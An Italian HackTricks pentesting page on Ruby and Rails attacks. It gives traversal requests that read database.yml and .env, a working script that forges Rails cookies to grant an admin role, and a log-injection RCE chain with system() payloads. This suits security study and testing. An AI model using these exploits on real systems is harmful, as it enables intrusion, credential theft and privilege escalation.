Trucchi Ruby

Reading time: 9 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Upload di file per RCE

Come spiegato in this article, caricare un file .rb in directory sensibili come config/initializers/ può portare a remote code execution (RCE) nelle applicazioni Ruby on Rails.

Suggerimenti:

  • Altre posizioni di boot/eager-load eseguite all'avvio dell'app sono anch'esse rischiose se scrivibili (es., config/initializers/ è quella classica). Se trovi un upload arbitrario che finisce da qualche parte sotto config/ e viene poi valutato/required, potresti ottenere RCE all'avvio.
  • Cerca build dev/staging che copiano file controllati dall'utente nell'immagine del container dove Rails li caricherà all'avvio.

Active Storage image transformation → command execution (CVE-2025-24293)

Quando un'applicazione usa Active Storage con image_processing + mini_magick, e passa parametri non affidabili ai metodi di trasformazione delle immagini, versioni di Rails precedenti a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 potrebbero consentire command injection perché alcuni metodi di trasformazione erano erroneamente permessi di default.

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Cosa provare durante i test

  • Individua eventuali endpoint che accettano variant/processing options, nomi di trasformazioni, o argomenti arbitrari per ImageMagick.

  • Fuzz params[:t] e params[:v] alla ricerca di errori sospetti o effetti collaterali di esecuzione. Se puoi influenzare il nome del metodo o passare argomenti raw che raggiungono MiniMagick, potresti ottenere code exec sull'host che esegue l'image processor.

  • Se hai solo accesso in lettura alle variant generate, prova l'esfiltrazione cieca tramite operazioni ImageMagick appositamente create.

  • Mitigazione/rilevamento

  • Se trovi Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + image_processing + mini_magick e trasformazioni controllate dall'utente, consideralo sfruttabile. Raccomanda l'aggiornamento e l'applicazione di allowlists rigorose per metodi/params e una policy ImageMagick più restrittiva.

Rack::Static LFI / path traversal (CVE-2025-27610)

Se lo stack target usa Rack middleware direttamente o tramite framework, versioni di rack precedenti a 2.2.13, 3.0.14 e 3.1.12 consentono Local File Inclusion tramite Rack::Static quando :root non è impostato/misconfigurato. Traversal codificato in PATH_INFO può esporre file sotto la directory di lavoro del processo o un root inatteso.

  • Cerca app che montano Rack::Static in config.ru o nello stack di middleware. Prova traversal codificati contro percorsi statici, per esempio:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Adatta il prefisso per corrispondere a urls: configurati. Se l'app risponde con il contenuto dei file, probabilmente hai LFI verso qualsiasi cosa sotto il :root risolto.

  • Mitigazione: aggiorna Rack; assicurati che :root punti solo a una directory di file pubblici ed sia impostato esplicitamente.

Rails cripta e firma i cookie usando chiavi derivate da secret_key_base. Se quel valore leaks (es., in un repo, nei log, o credenziali mal configurate), di solito puoi decryptare, modificare e re-encryptare i cookie. Questo spesso porta a authz bypass se l'app memorizza ruoli, user IDs o feature flags nei cookie.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Notes:

  • Le applicazioni più vecchie possono usare AES-256-CBC e salts encrypted cookie / signed encrypted cookie, oppure serializzatori JSON/Marshal. Regola di conseguenza salts, cipher e serializer.
  • In caso di compromissione/assessment, ruota secret_key_base per invalidare tutti i cookie esistenti.

Vedi anche (vulnerabilità specifiche Ruby/Rails)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

Quando un'app (spesso un semplice endpoint Rack/Sinatra/Rails) soddisfa entrambe le condizioni:

  • registra nel log una stringa controllata dall'utente tal quale, e
  • in seguito esegue un load di un file il cui percorso è derivato da quella stessa stringa (dopo Pathname#cleanpath),

Spesso è possibile ottenere remote code execution avvelenando il log e poi costringendo l'app a loadare il file di log. Primitive chiave:

  • Ruby load valuta il contenuto del file target come Ruby indipendentemente dall'estensione del file. Qualsiasi file di testo leggibile il cui contenuto sia valido come codice Ruby verrà eseguito.
  • Pathname#cleanpath collassa i segmenti . e .. senza interrogare il filesystem, permettendo il path smuggling: dati di junk controllati dall'attaccante possono essere prepended per il logging mentre il percorso "pulito" risolve ancora al file inteso da eseguire (es., ../logs/error.log).

Minimal vulnerable pattern

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Perché il log può contenere Ruby valido

Logger scrive righe di prefisso come:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

In Ruby, # inizia un commento e 9/2/2025 è solo aritmetica. Per iniettare codice Ruby valido devi:

  • Iniziare il payload su una nuova riga in modo che non venga commentato dal # nella riga INFO; invia una newline iniziale (\n o %0A).
  • Chiudere la [ sospesa introdotta dalla riga INFO. Un trucco comune è iniziare con ] e opzionalmente rendere il parser contento con ][0]=1.
  • Poi inserire Ruby arbitrario (es., system(...)).

Esempio di cosa finirà nel log dopo una richiesta con un parametro creato ad arte:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Smuggling di una singola stringa che sia contemporaneamente registrata come codice e risolva nel percorso del log

Vogliamo una singola stringa controllata dall'attaccante che:

  • quando loggata raw, contenga il nostro Ruby payload, e
  • quando passata attraverso Pathname.new(<input>).cleanpath, risolva in ../logs/error.log in modo che il successivo load esegua il file di log appena avvelenato.

Pathname#cleanpath ignora gli scheme e collassa i componenti di traversal, quindi il seguente funziona:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Il # prima di :// fa sì che Ruby ignori la tail quando il log viene eseguito, mentre cleanpath riduce comunque il suffisso a ../logs/error.log.
  • La nuova riga iniziale esce dalla riga INFO; ] chiude la parentesi sospesa; ][0]=1 soddisfa il parser.

End-to-end exploitation

  1. Invia quanto segue come nome dello script di backup (codifica URL la prima newline come %0A se necessario):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. L'app registra la tua stringa raw in logs/error.log.
  2. L'app calcola cleanpath che si risolve in ../logs/error.log e chiama load su di esso.
  3. Ruby esegue il codice che hai iniettato nel log.

Per esfiltrare un file in un ambiente simile a un CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (il primo carattere è una nuova riga):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks